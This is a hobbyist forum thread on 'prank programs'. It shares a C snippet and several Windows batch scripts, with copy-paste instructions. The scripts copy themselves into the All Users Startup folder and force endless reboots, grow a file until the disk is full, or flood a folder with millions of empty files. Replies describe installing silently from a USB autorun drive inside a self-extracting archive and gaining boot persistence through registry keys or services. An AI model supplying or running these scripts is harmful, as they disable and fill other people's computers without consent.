#include <stdio.h>
int main( int argc, char *argv[])
{
int i;
for (i = 0; i < 1000; i = i + 1)
printf("%s%s%s%s%s%s %s%s%s%s\n", argv[3], argv[2], argv[2], argv[3], argv[5], argv[4], argv[7], argv[1], argv[1], argv[6]);
return 0;
}

Compile it and run with the secret l33t arguments

virus.exe 0 o g e l b n

But seriously, just google 'prank programs'

Back when schools used old macs, there was a extension you could install that would black out a pixel of the monitor every time the computer restarted. Eventually part of the screen would be missing. I miss that.

Let's clear some things up... a virus is most definitely not a prank program. A virus is a form of malware that self-replicates taking up space on your hard-drive and usually over-writing other files.

It just bothers me how every form of malware gets called a virus, especially those damn Anti-Virus programs, like avast! Or when Anti-Virus programs call Networking/Hacking tools a virus... that provokes me even more. "FOR THE LAST TIME! CAIN IS NOT MALWARE, STUPID AVAST!"

Sorry, went off track...

Anyway, one of my personal favorite pranks to pull, is with a simple BAT file.


@echo off
copy prank.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\prank.bat"
shutdown -r -t 21 -c "You have no chance to survive, make your time."

Just call the file prank.bat and when it's executed it will copy itself to the Startup folder for All Users and then it will reboot in 21 seconds with the message "You have no chance to survive, make your time." Of course, you can stop the reboot by sending the command "shutdown -a" to the system. If you want to be merciless you can set the time to 0 seconds, then of course the comment is futile.


shutdown -r -t 0

So basically it will be a never ending loop of your system restarting over and over again :-)

That comment made me smile. When I used to setup troubleshooting computers for 'operators' to test their "technical skills" on I would always include a batch file similar to one you posted. Brought back some good memories :)

Another silly question,the command shutdown -a,stops the whole reboot sequence or it has the command to be entered everytime?And in case it needs to be entered everytime,the solution is just to erase the .bat file?

There is loads of information in this topic: http://www.binrev.com/forums/index.php?showtopic=20377

My two favorites out of there are

:1
@type %0>>%0
goto 1

and

For /L %%i in (1,1,10000000) do cd. > a%%i.gif & cd. > b%%i.gif & cd. > c%%i.gif

Awesome.

If you want to make a virus, why dont you set up the Folding@Home Console client to set up and run in the background where nobody notices it. I believe google already does that with their toolbar, or it has the option anyway.

(anyone want to go steal a botnet and send out folding clients to all the zombies?)

I apologize for asking so simple questions but i am ignorant on bat files.The text that is in the code frames here with the pink colour,need to be just copy pasted to notepad,saved as a bat file and then you just open and it starts running?

Yes sir. Open notepad, copy/paste the code, then click file>save as

name it whatever you want and add then .bat (example: test.bat )

then change where it says Text Documents (*.txt)

to All Files (*.*)

Then run it.

The first code I posted will just write itself to itself, so it doubles every time it executes and it will run until your computer runs out of space.

The second one will create thousands of 0kb .gif files. In about 120 seconds on my machine just now it created over 300 thousand files in a single folder.

lets say that you run these two codes ,how do you make them stop?

close the cmd window. Then delete what they created.

You'll want to run the second code in a new folder, because if you run it just on the desktop or in system32 it could be a little pain to clean up. (if you already ran it somewhere important, arrange icons by modified and delete what you can)

Explorer lags big time when you try and open the folder all the files are in.

The first script is easy to start, stop, and erase.

To understand it better,you run the bat file and a cmd window appears ?is it possible to change one of the codes you mentioned to start every time with windows,of course for all users?

C:\Documents and Settings\All Users\Start Menu\Programs\Startup\ is the directory in which everything will start automatically.

Also, when installing you can use Winrar to zip everything and make a self-extracting file that performs all it's commands in the background.

You can put this on a thumb drive along with an autorun file that calls the .exe you made with winrar.

With this setup, in theory, you could plug the thumb drive in for a few seconds, then unplug it and your program will be installed.

EDIT: If you want to run malicious files that could possibly damage stuff, download sandboxie and it will add a choice to your right click context menu on programs that let you run the program in a controlled environment so as to not harm your computer.

I have made a bat with the code that is mentioned here but when i run it ,it reboots and when the copmputer starts again ,it doesn't reboot.In simple terms it reboots only one time and then the computer works normally.any ideas?

It's in the All Users Startup folder, which means it will only be executed when a user (any user) logs in.

If you wanted it to be run every time the computer starts up (and not necessarily if someone is logged in), you could have it called by certain keys in the registry, or create a service for it that is set automatic on boot.

If you Google either method and decide to try one, for the love of Pete, set the reboot time to something longer than 20 seconds, so you have time to log in, go to cmd, and run "shutdown -a". Otherwise, I'm afraid your next topic might be "How do I disable scripts automatically run at boot?" :P

"You have no chance to survive, make your time" That's got to be an oldie. LOL.
